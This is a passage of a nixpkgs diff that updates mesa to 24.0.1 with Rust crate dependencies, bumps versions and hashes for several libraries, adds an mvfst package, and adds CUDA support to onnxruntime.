-44,22 +44,79 @@ - #define DRM_BUS_PLATFORM 2 - #define DRM_BUS_HOST1X 3 - -+typedef struct _drmPciDeviceInfo { -+ uint16_t vendor_id; -+ uint16_t device_id; -+ uint16_t subvendor_id; -+ uint16_t subdevice_id; -+ uint8_t revision_id; -+} drmPciDeviceInfo, *drmPciDeviceInfoPtr; -+ -+#define DRM_PLATFORM_DEVICE_NAME_LEN 512 -+ -+typedef struct _drmPlatformBusInfo { -+ char fullname[DRM_PLATFORM_DEVICE_NAME_LEN]; -+} drmPlatformBusInfo, *drmPlatformBusInfoPtr; -+ -+typedef struct _drmPlatformDeviceInfo { -+ char **compatible; /* NULL terminated list of compatible strings */ -+} drmPlatformDeviceInfo, *drmPlatformDeviceInfoPtr; -+ -+#define DRM_HOST1X_DEVICE_NAME_LEN 512 -+ -+typedef struct _drmHost1xBusInfo { -+ char fullname[DRM_HOST1X_DEVICE_NAME_LEN]; -+} drmHost1xBusInfo, *drmHost1xBusInfoPtr; -+ -+typedef struct _drmPciBusInfo { -+ uint16_t domain; -+ uint8_t bus; -+ uint8_t dev; -+ uint8_t func; -+} drmPciBusInfo, *drmPciBusInfoPtr; -+ - typedef struct _drmDevice { - char **nodes; /* DRM_NODE_MAX sized array */ - int available_nodes; /* DRM_NODE_* bitmask */ - int bustype; -+ union { -+ drmPciBusInfoPtr pci; -+ drmPlatformBusInfoPtr platform; -+ drmHost1xBusInfoPtr host1x; -+ } businfo; -+ union { -+ drmPciDeviceInfoPtr pci; -+ } deviceinfo; - /* ... */ - } drmDevice, *drmDevicePtr; - -+static inline int -+drmGetDevice2(int fd, uint32_t flags, drmDevicePtr *device) -+{ -+ return -ENOENT; -+} -+ - static inline int - drmGetDevices2(uint32_t flags, drmDevicePtr devices[], int max_devices) - { - return -ENOENT; - } - -+static inline int -+drmGetDeviceFromDevId(dev_t dev_id, uint32_t flags, drmDevicePtr *device) -+{ -+ return -ENOENT; -+} -+ -+static inline void -+drmFreeDevice(drmDevicePtr *device) {} -+ - static inline void - drmFreeDevices(drmDevicePtr devices[], int count) {} - -+static inline char* -+drmGetDeviceNameFromFd2(int fd) { return NULL;} -+ - typedef struct _drmVersion { - int version_major; /**< Major version */ - int version_minor; /**< Minor version */ diff --git a/pkgs/development/libraries/mesa/backports/0003-glx-fix-automatic-zink-fallback-loading-between-hw-a.patch b/pkgs/development/libraries/mesa/backports/0003-glx-fix-automatic-zink-fallback-loading-between-hw-a.patch deleted file mode 100644 index c7bde6411d8e4..0000000000000 --- a/pkgs/development/libraries/mesa/backports/0003-glx-fix-automatic-zink-fallback-loading-between-hw-a.patch +++ /dev/null @@ -1,53 +0,0 @@ -From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 -From: "duncan.hopkins" <duncan.hopkins@foundry.com> -Date: Wed, 1 Nov 2023 11:31:13 +0000 -Subject: [PATCH] glx: fix automatic zink fallback loading between hw and sw - drivers on MacOS - -The combination of defines used when compile the code on MacOS is hiding variables. -Patch allows basic MacOS build to compile and run. - -Reviewed-by: Adam Jackson <ajax@redhat.com> -Part-of: <https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25992> ---- - src/glx/glxext.c | 10 ++++++++-- - 1 file changed, 8 insertions(+), 2 deletions(-) - -diff --git a/src/glx/glxext.c b/src/glx/glxext.c -index 7712e54c1d6..454f2c36a77 100644 ---- a/src/glx/glxext.c -+++ b/src/glx/glxext.c -@@ -878,12 +878,16 @@ __glXInitialize(Display * dpy) - - dpyPriv->glXDrawHash = __glxHashCreate(); - -+ Bool zink = False; -+ Bool try_zink = False; -+ - #if defined(GLX_DIRECT_RENDERING) && !defined(GLX_USE_APPLEGL) - Bool glx_direct = !debug_get_bool_option("LIBGL_ALWAYS_INDIRECT", false); - Bool glx_accel = !debug_get_bool_option("LIBGL_ALWAYS_SOFTWARE", false); - const char *env = getenv("MESA_LOADER_DRIVER_OVERRIDE"); -- Bool zink = env && !strcmp(env, "zink"); -- Bool try_zink = False; -+ -+ zink = env && !strcmp(env, "zink"); -+ try_zink = False; - - dpyPriv->drawHash = __glxHashCreate(); - -@@ -928,12 +932,14 @@ __glXInitialize(Display * dpy) - - if (!AllocAndFetchScreenConfigs(dpy, dpyPriv, zink | try_zink)) { - Bool fail = True; -+#if defined(GLX_DIRECT_RENDERING) && !defined(GLX_USE_APPLEGL) - if (try_zink) { - free(dpyPriv->screens); - dpyPriv->driswDisplay->destroyDisplay(dpyPriv->driswDisplay); - dpyPriv->driswDisplay = driswCreateDisplay(dpy, false); - fail = !AllocAndFetchScreenConfigs(dpy, dpyPriv, False); - } -+#endif - if (fail) { - free(dpyPriv); - return NULL; diff --git a/pkgs/development/libraries/mesa/default.nix b/pkgs/development/libraries/mesa/default.nix index 38b73f56cab60..dff2f0021d468 100644 --- a/pkgs/development/libraries/mesa/default.nix +++ b/pkgs/development/libraries/mesa/default.nix @@ -1,4 +1,4 @@ -{ stdenv, lib, fetchurl, fetchpatch, buildPackages +{ stdenv, lib, fetchurl, fetchpatch, fetchCrate, buildPackages , meson, pkg-config, ninja , intltool, bison, flex, file, python3Packages, wayland-scanner , expat, libdrm, xorg, wayland, wayland-protocols, openssl @@ -10,6 +10,7 @@ if stdenv.isLinux then [ "d3d12" # WSL emulated GPU (aka Dozen) + "kmsro" # special "render only" driver for GPUs without a display controller "nouveau" # Nvidia "radeonsi" # new AMD (GCN+) "r300" # very old AMD @@ -38,6 +39,7 @@ [ "amd" # AMD (aka RADV) "microsoft-experimental" # WSL virtualized GPU (aka DZN/Dozen) + "nouveau-experimental" # Nouveau (aka NVK) "swrast" # software renderer (aka Lavapipe) ] ++ lib.optionals (stdenv.hostPlatform.isAarch -> lib.versionAtLeast stdenv.hostPlatform.parsed.cpu.version "6") [ @@ -66,6 +68,7 @@ , enableOpenCL ? stdenv.isLinux && stdenv.isx86_64 , enablePatentEncumberedCodecs ? true , jdupes +, rustPlatform , rust-bindgen , rustc , spirv-llvm-translator @@ -74,20 +77,12 @@ , udev }: -/** Packaging design: - - The basic mesa ($out) contains headers and libraries (GLU is in libGLU now). - This or the mesa attribute (which also contains GLU) are small (~ 2 MB, mostly headers) - and are designed to be the buildInput of other packages. - - DRI drivers are compiled into $drivers output, which is much bigger and - depends on LLVM. These should be searched at runtime in - "/run/opengl-driver{,-32}/lib/*" and so are kind-of impure (given by NixOS). - (I suppose on non-NixOS one would create the appropriate symlinks from there.) - - libOSMesa is in $osmesa (~4 MB) -*/ +# When updating this package, please verify at least these build (assuming x86_64-linux): +# nix build .#mesa .#pkgsi686Linux.mesa .#pkgsCross.aarch64-multiplatform.mesa .#pkgsMusl.mesa let - version = "23.3.5"; - hash = "sha256-acyxJ4ZB/1utccoPhmGIrrGpKq3E27nTX1CuvsW4tQ8="; + version = "24.0.1"; + hash = "sha256-84cZKwjEccVFWQ3RIjCio0MkSAS1/oZv7GrqAuq1dhM="; # Release calendar: https://www.mesa3d.org/release-calendar.html # Release frequency: https://www.mesa3d.org/releasing.html#schedule @@ -98,6 +93,37 @@ let haveWayland = lib.elem "wayland" eglPlatforms; haveZink = lib.elem "zink" galliumDrivers; haveDozen = (lib.elem "d3d12" galliumDrivers) || (lib.elem "microsoft-experimental" vulkanDrivers); + + rustDeps = [ + { + pname = "proc-macro2"; + version = "1.0.70"; + hash = "sha256-e4ZgyZUTu5nAtaH5QVkLelqJQX/XPj/rWkzf/g2c+1g="; + } + { + pname = "quote"; + version = "1.0.33"; + hash = "sha256-VWRCZJO0/DJbNu0/V9TLaqlwMot65YjInWT9VWg57DY="; + } + { + pname = "syn"; + version = "2.0.39"; + hash = "sha256-Mjen2L/omhVbhU/+Ao65mogs3BP3fY+Bodab3uU63EI="; + } + { + pname = "unicode-ident"; + version = "1.0.12"; + hash = "sha256-KX8NqYYw6+rGsoR9mdZx8eT1HIPEUUyxErdk2H/Rlj8="; + } + ]; + + copyRustDep = dep: '' + cp -R --no-preserve=mode,ownership ${fetchCrate dep} subprojects/${dep.pname}-${dep.version} + cp -R subprojects/packagefiles/${dep.pname}/* subprojects/${dep.pname}-${dep.version}/ + ''; + + copyRustDeps = lib.concatStringsSep "\n" (builtins.map copyRustDep rustDeps); + self = stdenv.mkDerivation { pname = "mesa"; inherit version; @@ -113,22 +139,8 @@ self = stdenv.mkDerivation { inherit hash; }; - # TODO: - # revive ./dricore-gallium.patch when it gets ported (from Ubuntu), as it saved - # ~35 MB in $drivers; watch https://launchpad.net/ubuntu/+source/mesa/+changelog patches = [ - # fixes pkgsMusl.mesa build - ./musl.patch - ./opencl.patch - - # Backports to fix build - # FIXME: remove when applied upstream - - # Fix build on macOS - ./backports/0001-dri-added-build-dependencies-for-systems-using-non-s.patch - ./backports/0002-util-Update-util-libdrm.h-stubs-to-allow-loader.c-to.patch - ./backports/0003-glx-fix-automatic-zink-fallback-loading-between-hw-a.patch ]; postPatch = '' @@ -141,6 +153,8 @@ self = stdenv.mkDerivation { "get_option('datadir')" "'${placeholder "out"}/share'" substituteInPlace src/amd/vulkan/meson.build --replace \ "get_option('datadir')" "'${placeholder "out"}/share'" + + ${copyRustDeps} ''; outputs = [ "out" "dev" "drivers" ] @@ -152,15 +166,15 @@ self = stdenv.mkDerivation { # in case anything wants to use it at some point ++ lib.optional haveDozen "spirv2dxil"; - # FIXME: this fixes rusticl/iris segfaulting on startup, _somehow_. - # Needs more investigating. + # Keep build-ids so drivers can use them for caching, etc. + # Also some drivers segfault without this. separateDebugInfo = true; + # Needed to discover llvm-config for cross preConfigure = '' PATH=${llvmPackages.libllvm.dev}/bin:$PATH ''; - # TODO: Figure out how to enable opencl without having a runtime dependency on clang mesonFlags = [ "--sysconfdir=/etc" "--datadir=${placeholder "drivers"}/share" # Vendor files @@ -212,21 +226,23 @@ self = stdenv.mkDerivation { "-Dopencl-spirv=true" # Rusticl, new OpenCL frontend - "-Dgallium-rusticl=true" "-Drust_std=2021" + "-Dgallium-rusticl=true" "-Dclang-libdir=${llvmPackages.clang-unwrapped.lib}/lib" ] ++ lib.optionals (!withValgrind) [ "-Dvalgrind=disabled" ] ++ lib.optionals (!withLibunwind) [ "-Dlibunwind=disabled" ] ++ lib.optional enablePatentEncumberedCodecs - "-Dvideo-codecs=h264dec,h264enc,h265dec,h265enc,vc1dec" + "-Dvideo-codecs=all" ++ lib.optional (vulkanLayers != []) "-D vulkan-layers=${builtins.concatStringsSep "," vulkanLayers}"; + strictDeps = true; + buildInputs = with xorg; [ expat glslang llvmPackages.libllvm libglvnd xorgproto libX11 libXext libxcb libXt libXfixes libxshmfence libXrandr libffi libvdpau libelf libXvMC - libpthreadstubs openssl /*or another sha1 provider*/ + libpthreadstubs openssl zstd ] ++ lib.optionals withLibunwind [ libunwind @@ -240,15 +256,20 @@ self = stdenv.mkDerivation { ++ lib.optional haveDozen directx-headers; depsBuildBuild = [ pkg-config ] - ++ lib.optional enableOpenCL buildPackages.stdenv.cc; + # Adding this unconditionally makes x86_64-darwin pick up an older toolchain, as + # we explicitly call Mesa with 11.0 stdenv, but buildPackages is still 10.something, + # and Mesa can't build with that. + # FIXME: figure this out, or figure out how to get rid of Mesa on Darwin, + # whichever is easier. + ++ lib.optional (!stdenv.isDarwin) buildPackages.stdenv.cc; nativeBuildInputs = [ meson pkg-config ninja intltool bison flex file python3Packages.python python3Packages.mako python3Packages.ply jdupes glslang - ] ++ lib.optionals enableOpenCL [ rust-bindgen rustc ] - ++ lib.optional haveWayland wayland-scanner; + rustc rust-bindgen rustPlatform.bindgenHook + ] ++ lib.optional haveWayland wayland-scanner; propagatedBuildInputs = with xorg; [ libXdamage libXxf86vm diff --git a/pkgs/development/libraries/mesa/musl.patch b/pkgs/development/libraries/mesa/musl.patch deleted file mode 100644 index 687a159c1788d..0000000000000 --- a/pkgs/development/libraries/mesa/musl.patch +++ /dev/null @@ -1,59 +0,0 @@ -diff --git a/src/amd/vulkan/winsys/amdgpu/radv_amdgpu_winsys.h b/src/amd/vulkan/winsys/amdgpu/radv_amdgpu_winsys.h -index 06ca90564f0..bb244f8f358 100644 ---- a/src/amd/vulkan/winsys/amdgpu/radv_amdgpu_winsys.h -+++ b/src/amd/vulkan/winsys/amdgpu/radv_amdgpu_winsys.h -@@ -30,6 +30,7 @@ - - #include <amdgpu.h> - #include <pthread.h> -+#include <sys/types.h> - #include "util/list.h" - #include "util/rwlock.h" - #include "ac_gpu_info.h" -diff --git a/src/gallium/drivers/freedreno/freedreno_util.h b/src/gallium/drivers/freedreno/freedreno_util.h -index 22f99c41909..2f3195926be 100644 ---- a/src/gallium/drivers/freedreno/freedreno_util.h -+++ b/src/gallium/drivers/freedreno/freedreno_util.h -@@ -108,6 +108,8 @@ extern bool fd_binning_enabled; - #include <sys/types.h> - #include <sys/syscall.h> - -+#define gettid() ((pid_t)syscall(SYS_gettid)) -+ - #define DBG(fmt, ...) \ - do { \ - if (FD_DBG(MSGS)) \ -diff --git a/src/gallium/frontends/nine/nine_debug.c b/src/gallium/frontends/nine/nine_debug.c -index f3a6a945025..f4a6c41a612 100644 ---- a/src/gallium/frontends/nine/nine_debug.c -+++ b/src/gallium/frontends/nine/nine_debug.c -@@ -65,7 +65,7 @@ _nine_debug_printf( unsigned long flag, - { - static boolean first = TRUE; - static unsigned long dbg_flags = DBG_ERROR | DBG_WARN; -- unsigned long tid = 0; -+ pthread_t tid = 0; - - if (first) { - first = FALSE; -@@ -74,7 +74,7 @@ _nine_debug_printf( unsigned long flag, - - #if defined(HAVE_PTHREAD) - if (dbg_flags & DBG_TID) -- tid = (unsigned long)pthread_self(); -+ tid = pthread_self(); - #endif - - if (dbg_flags & flag) { -diff --git a/src/util/rand_xor.c b/src/util/rand_xor.c -index 81b64f1ea71..56ebd2eccdf 100644 ---- a/src/util/rand_xor.c -+++ b/src/util/rand_xor.c -@@ -28,6 +28,7 @@ - #if defined(HAVE_GETRANDOM) - #include <sys/random.h> - #endif -+#include <sys/types.h> /* size_t, ssize_t */ - #include <unistd.h> - #include <fcntl.h> - #endif diff --git a/pkgs/development/libraries/microsoft-gsl/default.nix b/pkgs/development/libraries/microsoft-gsl/default.nix index 298aec48db753..59df670e9ec51 100644 --- a/pkgs/development/libraries/microsoft-gsl/default.nix +++ b/pkgs/development/libraries/microsoft-gsl/default.nix @@ -1,6 +1,7 @@ { lib , stdenv , fetchFromGitHub +, fetchpatch , cmake , gtest , pkg-config @@ -23,6 +24,15 @@ stdenv.mkDerivation rec { # error: unsafe buffer access env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-unsafe-buffer-usage"; + patches = [ + # nvcc doesn't recognize the "gsl" attribute namespace (microsoft/onnxruntime#13573) + # only affects nvcc + (fetchpatch { + url = "https://raw.githubusercontent.com/microsoft/onnxruntime/4bfa69def85476b33ccfaf68cf070f3fb65d39f7/cmake/patches/gsl/1064.patch"; + hash = "sha256-0jESA+VENWQms9HGE0jRiZZuWLJehBlbArxSaQbYOrM="; + }) + ]; + doCheck = true; meta = with lib; { diff --git a/pkgs/development/libraries/mongoc/default.nix b/pkgs/development/libraries/mongoc/default.nix index 16e7830a3547b..576c2e7a9ed46 100644 --- a/pkgs/development/libraries/mongoc/default.nix +++ b/pkgs/development/libraries/mongoc/default.nix @@ -14,13 +14,13 @@ stdenv.mkDerivation rec { pname = "mongoc"; - version = "1.25.4"; + version = "1.26.1"; src = fetchFromGitHub { owner = "mongodb"; repo = "mongo-c-driver"; rev = "refs/tags/${version}"; - hash = "sha256-4Bz6sftXSZDDV8PlTQG8ndOwwp+QHXtzacJ1BXfJAkQ="; + hash = "sha256-LUtKOAlQVpN5Y+mHsNTlgDSeCjodG4RDleO1eXzTdMg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/mpdecimal/default.nix b/pkgs/development/libraries/mpdecimal/default.nix index 3a2e4b1fe7d09..514c61ffcb0c0 100644 --- a/pkgs/development/libraries/mpdecimal/default.nix +++ b/pkgs/development/libraries/mpdecimal/default.nix @@ -2,12 +2,12 @@ stdenv.mkDerivation rec { pname = "mpdecimal"; - version = "2.5.1"; + version = "4.0.0"; outputs = [ "out" "cxx" "doc" "dev" ]; src = fetchurl { url = "https://www.bytereef.org/software/mpdecimal/releases/mpdecimal-${version}.tar.gz"; - hash = "sha256-n5zUwEH5m1xJ/7e1nZ8S2VtoPYhYVgiqVqYwdmeysh8="; + hash = "sha256-lCRFwyRbInMP1Bpnp8XCMdEcsbmTa5wPdjNPt9C0Row="; }; configureFlags = [ "LD=${stdenv.cc.targetPrefix}cc" ]; diff --git a/pkgs/development/libraries/mps/default.nix b/pkgs/development/libraries/mps/default.nix index 3cc6d9ce35100..fd6e5d60bf7b8 100644 --- a/pkgs/development/libraries/mps/default.nix +++ b/pkgs/development/libraries/mps/default.nix @@ -16,17 +16,17 @@ stdenv.mkDerivation rec { hash = "sha256-3ql3jWLccgnQHKf23B1en+nJ9rxqmHcWd7aBr93YER0="; }; + postPatch = '' + # Disable -Werror to avoid biuld failure on fresh toolchains like + # gcc-13. + substituteInPlace code/gc.gmk --replace-fail '-Werror ' ' ' + substituteInPlace code/gp.gmk --replace-fail '-Werror ' ' ' + substituteInPlace code/ll.gmk --replace-fail '-Werror ' ' ' + ''; + nativeBuildInputs = [ autoreconfHook ]; buildInputs = [ sqlite ]; - # needed for 1.116.0 to build with gcc7 - env.NIX_CFLAGS_COMPILE = toString [ - "-Wno-implicit-fallthrough" - "-Wno-error=clobbered" - "-Wno-error=cast-function-type" - ]; - - meta = { description = "A flexible memory management and garbage collection library"; homepage = "https://www.ravenbrook.com/project/mps"; diff --git a/pkgs/development/libraries/mvfst/default.nix b/pkgs/development/libraries/mvfst/default.nix new file mode 100644 index 0000000000000..6b6e2d9c9e579 --- /dev/null +++ b/pkgs/development/libraries/mvfst/default.nix @@ -0,0 +1,48 @@ +{ stdenv +, lib +, fetchFromGitHub +, cmake +, fizz +, folly +, gflags +, glog +, libsodium +, zlib +}: + +stdenv.mkDerivation rec { + pname = "mvfst"; + version = "2024.01.22.00"; + + src = fetchFromGitHub { + owner = "facebook"; + repo = "mvfst"; + rev = "v${version}"; + sha256 = "sha256-vhLwxA91v+vt5PQejhPOaj9YSkulg86hTD9GkpQKB24="; + }; + + nativeBuildInputs = [ cmake ]; + + cmakeFlags = lib.optionals stdenv.isDarwin [ + "-DCMAKE_OSX_DEPLOYMENT_TARGET=10.14" # For aligned allocation + ]; + + buildInputs = [ + fizz + folly + folly.boost + folly.fmt + gflags + glog + libsodium + zlib + ]; + + meta = with lib; { + description = "An implementation of the QUIC transport protocol"; + homepage = "https://github.com/facebook/mvfst"; + license = licenses.mit; + platforms = platforms.unix; + maintainers = with maintainers; [ ris ]; + }; +} diff --git a/pkgs/development/libraries/nco/default.nix b/pkgs/development/libraries/nco/default.nix index 0ee442aedbcb9..74f6c21d86e96 100644 --- a/pkgs/development/libraries/nco/default.nix +++ b/pkgs/development/libraries/nco/default.nix @@ -15,13 +15,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "nco"; - version = "5.1.9"; + version = "5.2.1"; src = fetchFromGitHub { owner = "nco"; repo = "nco"; rev = finalAttrs.version; - hash = "sha256-D7WmJ53oK4craLx6PKAFA6Ue7wl5fRYPeEFeh78Kpdg="; + hash = "sha256-6j9gBvhNTww9nOKMcCvOxoLJwU/3RtS6OvofjrpZhmk="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/netcdf/default.nix b/pkgs/development/libraries/netcdf/default.nix index 8fde7050b97a3..0796e7997d507 100644 --- a/pkgs/development/libraries/netcdf/default.nix +++ b/pkgs/development/libraries/netcdf/default.nix @@ -59,7 +59,7 @@ in stdenv.mkDerivation rec { "--disable-dap-remote-tests" "--with-plugin-dir=${placeholder "out"}/lib/hdf5-plugins" ] - ++ (lib.optionals mpiSupport [ "--enable-parallel-tests" "CC=${mpi}/bin/mpicc" ]); + ++ (lib.optionals mpiSupport [ "--enable-parallel-tests" "CC=${lib.getDev mpi}/bin/mpicc" ]); enableParallelBuilding = true; diff --git a/pkgs/development/libraries/ngtcp2/gnutls.nix b/pkgs/development/libraries/ngtcp2/gnutls.nix index f8b31b703fcfb..04b220bacee19 100644 --- a/pkgs/development/libraries/ngtcp2/gnutls.nix +++ b/pkgs/development/libraries/ngtcp2/gnutls.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "ngtcp2"; - version = "1.2.0"; + version = "1.3.0"; src = fetchFromGitHub { owner = "ngtcp2"; repo = "ngtcp2"; rev = "v${version}"; - hash = "sha256-/lHsHkSySKyZZdjTTYCo0a6cwcMcbOWNvAEcO36/kEw="; + hash = "sha256-KKfr5AjaC56yUNdk928H1PyP79GnQJ2pIZcZQTgLhEQ="; }; outputs = [ "out" "dev" ]; diff --git a/pkgs/development/libraries/nng/default.nix b/pkgs/development/libraries/nng/default.nix index e6b851817eff6..34f0aee7d707e 100644 --- a/pkgs/development/libraries/nng/default.nix +++ b/pkgs/development/libraries/nng/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "nng"; - version = "1.7.2"; + version = "1.7.3"; src = fetchFromGitHub { owner = "nanomsg"; repo = "nng"; rev = "v${version}"; - hash = "sha256-CG6Gw/Qrbi96koF2VxKMYPMPT2Zj9U97vNk2JdrfRro="; + hash = "sha256-oP7hO3wCXNPW7877wK+HpGsw7j+U0q4i8aTRVi1v0r0="; }; nativeBuildInputs = [ cmake ninja ] diff --git a/pkgs/development/libraries/nss/esr.nix b/pkgs/development/libraries/nss/esr.nix index 63308f385036d..95c9aa0e19976 100644 --- a/pkgs/development/libraries/nss/esr.nix +++ b/pkgs/development/libraries/nss/esr.nix @@ -1,4 +1,4 @@ import ./generic.nix { - version = "3.90.1"; - hash = "sha256-5Fx0p2WP/LbGIqfhm6+zEab71UZPWBubCUGBEKQIsX8="; + version = "3.90.2"; + hash = "sha256-4r/LhKilkSeEhw/rl2IRAn5xMJ74W5ACg7fX0e4GQxA="; } diff --git a/pkgs/development/libraries/nss/latest.nix b/pkgs/development/libraries/nss/latest.nix index 43cb876fa8846..dfc8a21e206c6 100644 --- a/pkgs/development/libraries/nss/latest.nix +++ b/pkgs/development/libraries/nss/latest.nix @@ -5,6 +5,6 @@ # Example: nix-shell ./maintainers/scripts/update.nix --argstr package cacert import ./generic.nix { - version = "3.97"; - hash = "sha256-d26v8a+5EkQ6cFg5SZirT4L22AxfIteiUx4I42msyqw="; + version = "3.98"; + hash = "sha256-0p1HzspxyzhzX46O7ax8tmYiaFEBeqEqEvman4NIiQc="; } diff --git a/pkgs/development/libraries/ocl-icd/default.nix b/pkgs/development/libraries/ocl-icd/default.nix index dfacf433b77f0..1b7caf2b9c844 100644 --- a/pkgs/development/libraries/ocl-icd/default.nix +++ b/pkgs/development/libraries/ocl-icd/default.nix @@ -5,6 +5,7 @@ , opencl-headers , addOpenGLRunpath , autoreconfHook +, windows }: stdenv.mkDerivation rec { @@ -23,17 +24,21 @@ stdenv.mkDerivation rec { ruby ]; - buildInputs = [ opencl-headers ]; + buildInputs = [ opencl-headers ] + ++ lib.optionals stdenv.hostPlatform.isWindows [ windows.dlfcn ]; configureFlags = [ "--enable-custom-vendordir=/run/opengl-driver/etc/OpenCL/vendors" ]; + # fixes: can't build x86_64-w64-mingw32 shared library unless -no-undefined is specified + makeFlags = lib.optionals stdenv.hostPlatform.isWindows [ "LDFLAGS=-no-undefined" ]; + meta = with lib; { description = "OpenCL ICD Loader for ${opencl-headers.name}"; homepage = "https://github.com/OCL-dev/ocl-icd"; license = licenses.bsd2; - platforms = platforms.unix; + platforms = platforms.unix ++ platforms.windows; maintainers = with maintainers; [ r-burns ]; }; } diff --git a/pkgs/development/libraries/onnxruntime/default.nix b/pkgs/development/libraries/onnxruntime/default.nix index 6faa3088fa3c3..4ece5feea3655 100644 --- a/pkgs/development/libraries/onnxruntime/default.nix +++ b/pkgs/development/libraries/onnxruntime/default.nix @@ -1,7 +1,7 @@ -{ stdenv +{ config +, stdenv , lib , fetchFromGitHub -, fetchFromGitLab , Foundation , abseil-cpp , cmake @@ -18,10 +18,22 @@ , iconv , protobuf_21 , pythonSupport ? true -}: +, cudaSupport ? config.cudaSupport +, cudaPackages ? {} +}@inputs: let + version = "1.16.3"; + + stdenv = throw "Use effectiveStdenv instead"; + effectiveStdenv = if cudaSupport then cudaPackages.backendStdenv else inputs.stdenv; + + cudaCapabilities = cudaPackages.cudaFlags.cudaCapabilities; + # E.g. [ "80" "86" "90" ] + cudaArchitectures = (builtins.map cudaPackages.cudaFlags.dropDot cudaCapabilities); + cudaArchitecturesString = lib.strings.concatStringsSep ";" cudaArchitectures; + howard-hinnant-date = fetchFromGitHub { owner = "HowardHinnant"; repo = "date"; @@ -58,26 +70,23 @@ let hash = "sha256-L1B5Y/c897Jg9fGwT2J3+vaXsZ+lfXnskp8Gto1p/Tg="; }; - gtest' = gtest.overrideAttrs (oldAttrs: rec { - version = "1.13.0"; - src = fetchFromGitHub { - owner = "google"; - repo = "googletest"; - rev = "v${version}"; - hash = "sha256-LVLEn+e7c8013pwiLzJiiIObyrlbBHYaioO/SWbItPQ="; - }; - }); - onnx = fetchFromGitHub { owner = "onnx"; repo = "onnx"; rev = "refs/tags/v1.14.1"; hash = "sha256-ZVSdk6LeAiZpQrrzLxphMbc1b3rNUMpcxcXPP8s/5tE="; }; + + cutlass = fetchFromGitHub { + owner = "NVIDIA"; + repo = "cutlass"; + rev = "v3.0.0"; + sha256 = "sha256-YPD5Sy6SvByjIcGtgeGH80TEKg2BtqJWSg46RvnJChY="; + }; in -stdenv.mkDerivation rec { +effectiveStdenv.mkDerivation rec { pname = "onnxruntime"; - version = "1.16.3"; + inherit version; src = fetchFromGitHub { owner = "microsoft"; @@ -96,6 +105,10 @@ stdenv.mkDerivation rec { # - use MakeAvailable instead of the low-level Populate, # - use Eigen3::Eigen as the target name (as declared by libeigen/eigen). ./0001-eigen-allow-dependency-injection.patch + ] ++ lib.optionals cudaSupport [ + # We apply the referenced 1064.patch ourselves to our nix dependency. + # FIND_PACKAGE_ARGS for CUDA was added in https://github.com/microsoft/onnxruntime/commit/87744e5 so it might be possible to delete this patch after upgrading to 1.17.0 + ./nvcc-gsl.patch ]; nativeBuildInputs = [ @@ -109,7 +122,9 @@ stdenv.mkDerivation rec { pythonOutputDistHook setuptools wheel - ]); + ]) ++ lib.optionals cudaSupport [ + cudaPackages.cuda_nvcc + ]; buildInputs = [ eigen @@ -118,16 +133,24 @@ stdenv.mkDerivation rec { nlohmann_json microsoft-gsl ] ++ lib.optionals pythonSupport (with python3Packages; [ + gtest numpy pybind11 packaging - ]) ++ lib.optionals stdenv.isDarwin [ + ]) ++ lib.optionals effectiveStdenv.isDarwin [ Foundation iconv - ]; + ] ++ lib.optionals cudaSupport (with cudaPackages; [ + cuda_cccl # cub/cub.cuh + libcublas # cublas_v2.h + libcurand # curand.h + libcusparse # cusparse.h + libcufft # cufft.h + cudnn # cudnn.h + cuda_cudart + ]); nativeCheckInputs = lib.optionals pythonSupport (with python3Packages; [ - gtest' pytest sympy onnx @@ -159,23 +182,31 @@ stdenv.mkDerivation rec { "-Donnxruntime_BUILD_UNIT_TESTS=ON" "-Donnxruntime_ENABLE_LTO=ON" "-Donnxruntime_USE_FULL_PROTOBUF=OFF" + (lib.cmakeBool "onnxruntime_USE_CUDA" cudaSupport) + (lib.cmakeBool "onnxruntime_USE_NCCL" cudaSupport) ] ++ lib.optionals pythonSupport [ "-Donnxruntime_ENABLE_PYTHON=ON" + ] ++ lib.optionals cudaSupport [ + (lib.cmakeFeature "FETCHCONTENT_SOURCE_DIR_CUTLASS" "${cutlass}") + (lib.cmakeFeature "onnxruntime_CUDNN_HOME" "${cudaPackages.cudnn}") + (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" cudaArchitecturesString) ]; - env = lib.optionalAttrs stdenv.cc.isClang { + env = lib.optionalAttrs effectiveStdenv.cc.isClang { NIX_CFLAGS_COMPILE = toString [ "-Wno-error=deprecated-declarations" "-Wno-error=unused-but-set-variable" ]; }; - doCheck = true; + doCheck = !cudaSupport; + + requiredSystemFeatures = lib.optionals cudaSupport [ "big-parallel" ]; postPatch = '' substituteInPlace cmake/libonnxruntime.pc.cmake.in \ --replace-fail '$'{prefix}/@CMAKE_INSTALL_ @CMAKE_INSTALL_ - '' + lib.optionalString (stdenv.hostPlatform.system == "aarch64-linux") '' + '' + lib.optionalString (effectiveStdenv.hostPlatform.system == "aarch64-linux") '' # https://github.com/NixOS/nixpkgs/pull/226734#issuecomment-1663028691 rm -v onnxruntime/test/optimizer/nhwc_transformer_test.cc ''; diff --git a/pkgs/development/libraries/onnxruntime/nvcc-gsl.patch b/pkgs/development/libraries/onnxruntime/nvcc-gsl.patch new file mode 100644 index 0000000000000..948de62e7e75a --- /dev/null +++ b/pkgs/development/libraries/onnxruntime/nvcc-gsl.patch @@ -0,0 +1,32 @@ +diff --git a/cmake/external/onnxruntime_external_deps.cmake b/cmake/external/onnxruntime_external_deps.cmake +index 9effd1a2db..faff5e8de7 100644 +--- a/cmake/external/onnxruntime_external_deps.cmake ++++ b/cmake/external/onnxruntime_external_deps.cmake +@@ -280,21 +280,12 @@ if (NOT WIN32) + endif() + endif() + +-if(onnxruntime_USE_CUDA) +- FetchContent_Declare( +- GSL +- URL ${DEP_URL_microsoft_gsl} +- URL_HASH SHA1=${DEP_SHA1_microsoft_gsl} +- PATCH_COMMAND ${Patch_EXECUTABLE} --binary --ignore-whitespace -p1 < ${PROJECT_SOURCE_DIR}/patches/gsl/1064.patch +- ) +-else() +- FetchContent_Declare( +- GSL +- URL ${DEP_URL_microsoft_gsl} +- URL_HASH SHA1=${DEP_SHA1_microsoft_gsl} +- 